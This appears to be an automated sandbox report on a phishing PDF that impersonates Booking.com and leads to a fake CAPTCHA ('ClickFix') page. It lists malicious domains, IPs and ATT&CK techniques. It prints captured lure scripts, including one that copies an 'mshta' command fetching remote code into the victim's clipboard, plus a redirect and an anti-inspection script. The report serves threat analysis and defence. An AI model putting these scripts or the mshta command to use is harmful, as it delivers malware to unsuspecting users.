Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	4 Browser Extensions	1 Process Injection	21 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
iRMbIIEjhP.pdf	0%	Virustotal		Browse
iRMbIIEjhP.pdf	3%	ReversingLabs	Document-PDF.Phishing.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\Google.Widevine.CDM.dll	0%	ReversingLabs
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\Google.Widevine.CDM.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
d2i5gg36g14bzn.cloudfront.net	18.245.31.129	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
e8652.dscx.akamaiedge.net	23.209.209.135	true	false	high
www.google.com	216.58.212.164	true	false	high
clintonmakes.com	66.63.187.216	true	false	high
fixecondfirbook.info	104.21.94.195	true	false	high
minedudiser.com	186.64.116.70	true	false	high
241.42.69.40.in-addr.arpa	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high
q-xx.bstatic.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://wieistmeineip.de	sets.json.8.dr	false	high
https://mercadoshops.com.co	sets.json.8.dr	false	high
https://gliadomain.com	sets.json.8.dr	false	high
https://poalim.xyz	sets.json.8.dr	false	high
https://mercadolivre.com	sets.json.8.dr	false	high
https://reshim.org	sets.json.8.dr	false	high
https://nourishingpursuits.com	sets.json.8.dr	false	high
https://medonet.pl	sets.json.8.dr	false	high
https://unotv.com	sets.json.8.dr	false	high
https://mercadoshops.com.br	sets.json.8.dr	false	high
https://joyreactor.cc	sets.json.8.dr	false	high
https://zdrowietvn.pl	sets.json.8.dr	false	high
https://johndeere.com	sets.json.8.dr	false	high
https://songstats.com	sets.json.8.dr	false	high
https://baomoi.com	sets.json.8.dr	false	high
https://supereva.it	sets.json.8.dr	false	high
https://elfinancierocr.com	sets.json.8.dr	false	high
https://bolasport.com	sets.json.8.dr	false	high
https://rws1nvtvt.com	sets.json.8.dr	false	high
https://desimartini.com	sets.json.8.dr	false	high
https://hearty.app	sets.json.8.dr	false	high
https://hearty.gift	sets.json.8.dr	false	high
https://mercadoshops.com	sets.json.8.dr	false	high
https://heartymail.com	sets.json.8.dr	false	high
https://nlc.hu	sets.json.8.dr	false	high
https://p106.net	sets.json.8.dr	false	high
https://radio2.be	sets.json.8.dr	false	high
https://finn.no	sets.json.8.dr	false	high
https://hc1.com	sets.json.8.dr	false	high
https://kompas.tv	sets.json.8.dr	false	high
https://mystudentdashboard.com	sets.json.8.dr	false	high
https://songshare.com	sets.json.8.dr	false	high
https://smaker.pl	sets.json.8.dr	false	high
https://mercadopago.com.mx	sets.json.8.dr	false	high
https://p24.hu	sets.json.8.dr	false	high
https://talkdeskqaid.com	sets.json.8.dr	false	high
https://24.hu	sets.json.8.dr	false	high
https://mercadopago.com.pe	sets.json.8.dr	false	high
https://cardsayings.net	sets.json.8.dr	false	high
https://text.com	sets.json.8.dr	false	high
https://mightytext.net	sets.json.8.dr	false	high
https://pudelek.pl	sets.json.8.dr	false	high
https://hazipatika.com	sets.json.8.dr	false	high
https://joyreactor.com	sets.json.8.dr	false	high
https://cookreactor.com	sets.json.8.dr	false	high
https://wildixin.com	sets.json.8.dr	false	high
https://eworkbookcloud.com	sets.json.8.dr	false	high
https://cognitiveai.ru	sets.json.8.dr	false	high
https://nacion.com	sets.json.8.dr	false	high
https://chennien.com	sets.json.8.dr	false	high
https://drimer.travel	sets.json.8.dr	false	high
https://deccoria.pl	sets.json.8.dr	false	high
https://mercadopago.cl	sets.json.8.dr	false	high
https://talkdeskstgid.com	sets.json.8.dr	false	high
https://naukri.com	sets.json.8.dr	false	high
https://interia.pl	sets.json.8.dr	false	high
https://bonvivir.com	sets.json.8.dr	false	high
https://carcostadvisor.be	sets.json.8.dr	false	high
https://salemovetravel.com	sets.json.8.dr	false	high
https://sapo.io	sets.json.8.dr	false	high
https://wpext.pl	sets.json.8.dr	false	high
https://welt.de	sets.json.8.dr	false	high
https://poalim.site	sets.json.8.dr	false	high
https://drimer.io	sets.json.8.dr	false	high
https://infoedgeindia.com	sets.json.8.dr	false	high
https://blackrockadvisorelite.it	sets.json.8.dr	false	high
https://cognitive-ai.ru	sets.json.8.dr	false	high
https://cafemedia.com	sets.json.8.dr	false	high
https://graziadaily.co.uk	sets.json.8.dr	false	high
https://thirdspace.org.au	sets.json.8.dr	false	high
https://mercadoshops.com.ar	sets.json.8.dr	false	high
https://smpn106jkt.sch.id	sets.json.8.dr	false	high
https://elpais.uy	sets.json.8.dr	false	high
https://landyrev.com	sets.json.8.dr	false	high
https://the42.ie	sets.json.8.dr	false	high
https://commentcamarche.com	sets.json.8.dr	false	high
https://tucarro.com.ve	sets.json.8.dr	false	high
https://rws3nvtvt.com	sets.json.8.dr	false	high
https://eleconomista.net	sets.json.8.dr	false	high
https://helpdesk.com	sets.json.8.dr	false	high
https://mercadolivre.com.br	sets.json.8.dr	false	high
https://clmbtech.com	sets.json.8.dr	false	high
https://standardsandpraiserepurpose.com	sets.json.8.dr	false	high
https://07c225f3.online	sets.json.8.dr	false	high
https://salemovefinancial.com	sets.json.8.dr	false	high
https://mercadopago.com.br	sets.json.8.dr	false	high
https://zoom.us	sets.json.8.dr	false	high
https://commentcamarche.net	sets.json.8.dr	false	high
https://etfacademy.it	sets.json.8.dr	false	high
https://mighty-app.appspot.com	sets.json.8.dr	false	high
https://hj.rs	sets.json.8.dr	false	high
https://hearty.me	sets.json.8.dr	false	high
https://mercadolibre.com.gt	sets.json.8.dr	false	high
https://timesinternet.in	sets.json.8.dr	false	high
https://indiatodayne.in	sets.json.8.dr	false	high
https://idbs-staging.com	sets.json.8.dr	false	high
https://blackrock.com	sets.json.8.dr	false	high
https://idbs-eworkbook.com	sets.json.8.dr	false	high
https://motherandbaby.com	sets.json.8.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.58.212.164	www.google.com	United States	15169	GOOGLEUS	false
104.21.94.195	fixecondfirbook.info	United States	13335	CLOUDFLARENETUS	false
66.63.187.216	clintonmakes.com	United States	8100	ASN-QUADRANET-GLOBALUS	false
23.209.209.135	e8652.dscx.akamaiedge.net	United States	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
186.64.116.70	minedudiser.com	Chile	52368	ZAMLTDACL	false
18.245.31.129	d2i5gg36g14bzn.cloudfront.net	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592941
Start date and time:	2025-01-16 17:18:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	iRMbIIEjhP.pdf renamed because original name is a hash value
Original Sample Name:	5339ccf37589e64cee452ccf84b5b689c52a49b75d0244edb20dad60e99422dd.pdf
Detection:	MAL
Classification:	mal84.phis.winPDF@47/81@8/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document URL browsing timeout or error Close Viewer

Errors

Corrupt sample or wrongly selected analyzer.

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 2.23.77.188, 184.28.88.176, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 162.159.61.3, 172.64.41.3, 2.22.242.11, 2.22.242.123, 142.250.185.195, 172.217.16.206, 173.194.76.84, 216.58.212.174, 142.250.184.234, 142.250.186.42, 142.250.185.170, 142.250.186.138, 172.217.18.106, 142.250.185.74, 172.217.16.202, 216.58.206.74, 142.250.185.202, 142.250.185.234, 172.217.18.10, 216.58.212.138, 142.250.186.170, 142.250.185.138, 142.250.185.106, 142.250.186.74, 142.250.186.131, 216.58.206.42, 216.58.212.170, 142.250.181.234, 142.250.186.106, 142.250.185.206, 142.250.184.202, 172.217.23.106, 142.250.184.206, 142.250.81.238, 74.125.0.74, 199.232.210.172, 142.250.185.99, 34.104.35.123, 142.250.184.238, 13.107.246.45, 4.245.163.56, 2.23.242.162, 23.217.172.185, 40.69.42.241, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, www.gstatic.com, optimizationguide-pa.googleapis.com, crl.root-x1.letsencrypt.org.edgekey.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, r5.sn-t0aedn7e.gvt1.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, r5---sn-t0aedn7e.gvt1.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:19:46	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

LLM Input / Output

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown
URL: https://fixecondfirbook.info Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true, "reasoning": "The domain appears to be attempting to typosquat 'facebook' with a jumbled version ('fixecondfirbook'). The .info TLD is often associated with suspicious domains. This is likely a malicious domain trying to impersonate Facebook." }
URL: https://fixecondfirbook.info
URL: https://clintonmakes.com/215c/#7ihbo... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates high-risk behavior, including dynamic code execution and data exfiltration. It attempts to redirect the user to an untrusted domain, which is a strong indicator of malicious intent." }
function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function process() { await sleep(0); if (window.location !== window.parent.location ) { top.location = "http://clintonmakes.com/215c/"; } else { window.location = "http://clintonmakes.com/215c/"; } } a369926= 12; window.onerror = process; process();
URL: https://fixecondfirbook.info/captchaHandler.js... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script has a moderate-risk indicator for external data transmission, as it sends the user's IP address to the '/send-ip' endpoint without any transparency or explanation. While this behavior may have a legitimate purpose, such as reCAPTCHA verification, the lack of context and potential privacy implications warrant further review." }
document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { // IP- fetch('/send-ip', { method: 'POST' }).then(response => { if (response.ok) { console.log(''); } else { console.error(''); } }); }); } });
URL: https://fixecondfirbook.info/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The `copyToClipboard()` function generates a command that could be used for malicious purposes, and the script also manipulates the DOM to hide the reCAPTCHA checkbox and display a custom SVG element. These behaviors, combined with the suspicious intent and lack of transparency, indicate a high-risk script that should be further investigated." }
async function copyToClipboard() { var copyText = `mshta ${window.location.origin}/captcha # ''I am not a robot - reCAPTCHA Verification ID: 4345''` try { await navigator.clipboard.writeText(copyText); } catch (error) { } } function someEdit() { document.getElementsByClassName('recaptcha-checkbox')[0].style.display = 'none' document.getElementsByClassName("loadImg")[0].innerHTML = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid" style="shape-rendering: auto; display: block; background: transparent;" width="32" height="32" xmlns:xlink="http://www.w3.org/1999/xlink"><g><circle stroke-dasharray="155.50883635269477 53.83627878423159" r="33" stroke-width="12" stroke="#4d90fe" fill="none" cy="50" cx="50"> <animateTransform keyTimes="0;1" values="0 50 50;360 50 50" dur="1.3888888888888888s" repeatCount="indefinite" type="rotate" attributeName="transform"></animateTransform> </circle><g></g></g></svg>` setTimeout(function () { document.getElementsByClassName('sjgdhfgas34')[0].style.display = "block" copyToClipboard() }, 2000) }
URL: https://fixecondfirbook.info/languageRevert.js... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script demonstrates some potentially concerning behaviors, such as preventing the default context menu and disabling keyboard shortcuts for changing the language. While these actions could be part of a legitimate feature, they may also indicate an attempt to restrict user control or prevent certain actions. Additionally, the use of a mutation observer to revert language changes could be an attempt to override user preferences. Overall, the script requires further review to determine the intent and potential impact." }
(function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const observer = new MutationObserver(revertLanguageChange); observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') { event.preventDefault(); } if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') { event.preventDefault(); } }, false); })();
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "View Complaint", "prominent_button_name": "View Complaint", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Booking.com" ] }
	{ "brands": [ "Booking.com" ] }
URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	{ "brands": [ "Booking" ] }
	{ "brands": [ "Booking" ] }
URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	```json{ "legit_domain": "booking.com", "classification": "wellknown", "reasons": [ "The brand 'Booking' is well-known and is associated with the legitimate domain 'booking.com'.", "The URL 'fixecondfirbook.info' does not match the legitimate domain 'booking.com'.", "The URL contains suspicious elements such as misspellings and unusual domain extension '.info'.", "The domain name 'fixecondfirbook.info' does not have any clear association with the brand 'Booking'." ], "riskscore": 9} Google indexed: False
URL: fixecondfirbook.info Brands: Booking Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.63.187.216	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	clintonmakes.com/favicon.ico
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	clintonmakes.com/favicon.ico
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	clintonmakes.com/favicon.ico
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	clintonmakes.com/favicon.ico
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	clintonmakes.com/favicon.ico
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	swxpeyou.com/favicon.ico
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	edwatsonsmallworks.com/favicon.ico
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	leahbdesign.com/favicon.ico
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	revelsocialclub.com/favicon.ico
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	ritarichards.com/favicon.ico
104.21.94.195	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse
	JlZU1N9b8M.pdf	Get hash	malicious	Unknown	Browse
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e8652.dscx.akamaiedge.net	V2yjcnvr6z.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	2.23.197.184
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	2.23.197.184
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	2.23.197.184
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
fixecondfirbook.info	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.168.162
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.168.162
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
d2i5gg36g14bzn.cloudfront.net	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.53
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.49
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.129
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.53
	https://page-get-reserves.com/yewhahgt/	Get hash	malicious	Unknown	Browse	18.245.31.18
	https://page-view-reserved-eng.com/mrzorecf	Get hash	malicious	Unknown	Browse	18.245.31.49
	https://page-view-reserved-en.com/erabwasi	Get hash	malicious	Unknown	Browse	18.245.31.18
clintonmakes.com	V2yjcnvr6z.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	http://neuroplus.com.br/asset/payroll/portal/qybVCmrZMa/ben.fillowmen@ne.gov	Get hash	malicious	Unknown	Browse	104.17.25.14
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	https://www.google.com.vn/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%RANDOM4%wDnNeW8yycT&sa=t&esrc=nNeW8F%RANDOM3%A0xys8Em2FL&source=&cd=tS6T8%RANDOM3%Tiw9XH&cad=XpPkDfJX%RANDOM4%VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkayik.com.au/glyxzb/e7365d2bd9a2e2c8b5587a6a9eb341aa/YXdpbGxpYW1zQGtmb3JjZS5jb20=	Get hash	malicious	Unknown	Browse	104.17.25.14
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	https://852u.adj.st/credits-opensea/?sk=288xDmHv&adj_t=wt0ujiy&adj_deep_link=eversheds-sutherlandpago://credits-opensea/?sk=288xDmHv&adj_label=MLM_MP_ML-EMAIL_CC_MARA_AO-UCR_ALL_ACT_X_X_DEFAULT_I-EG-UCR-MUTT-MAR-ABIERTO&adj_fallback=https://iondetox.com.ar/g63c/5617939594/Eversheds-sutherland/?eu=Y2xvemFub0BldmVyc2hlZHMtc3V0aGVybGFuZC5lcw==	Get hash	malicious	Unknown	Browse	188.114.96.3
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig	Browse	104.21.96.1
	Menu.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.112.1
ASN-QUADRANET-GLOBALUS	V2yjcnvr6z.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	V2yjcnvr6z.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.209.209.135
	http://magentacloud.de/s/DeFCB6g8NjbfYpY	Get hash	malicious	Unknown	Browse	23.209.209.135

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.1.237.91
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.1.237.91
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	23.1.237.91
	https://codverterassets.blob.core.windows.net/reps/a955/debugger/compiled.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	Larissa Malmquist.docx	Get hash	malicious	Unknown	Browse	23.1.237.91
	vXn4pan2US.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://lalclenfjhkinbn.top/1.php?s=527	Get hash	malicious	Unknown	Browse	23.1.237.91

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\Google.Widevine.CDM.dll	V2yjcnvr6z.pdf	Get hash	malicious	Unknown	Browse
	Mmcdonald-Employee-Benefits.docx	Get hash	malicious	Unknown	Browse
	Davx2k2025.doc	Get hash	malicious	Unknown	Browse
	mitel.docx	Get hash	malicious	Unknown	Browse
	https://forrestore.com/static/apps/437.zip	Get hash	malicious	Unknown	Browse
	Remittance.html	Get hash	malicious	Unknown	Browse
	Scan.html	Get hash	malicious	HTMLPhisher	Browse
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse
	Undelivered Messages.htm	Get hash	malicious	Unknown	Browse
	https://dev-alberta-ca.pantheonsite.io/?email=central@ngps.ca	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.189160223664588
Encrypted:	false
SSDEEP:	6:iO+DtSDM+q2P92nKuAl9OmbnIFUtUDtcAOwgZmwqDtcAOwDMVkwO92nKuAl9Omb5:7+IM+v4HAahFUtUy/qdMV5LHAaSJ
MD5:	047D54892F612D4AAB20DCBF2E9387F6
SHA1:	ACFE0D2C49863CE1060F91F075BB0DA474F90A84
SHA-256:	CDCD094F7410653CBD71EFC21A36868DD6F3C35044C08D69BC3E01A6B47EB975
SHA-512:	5509E634614F8AD0E9DC2DDBEF06DD7F79B2BDCF5DD9BE300CE990254C0D05CEB09628E79D1E466C6E84DC128AF62F0E54B2524527BE78B2271A80DC69B053FF
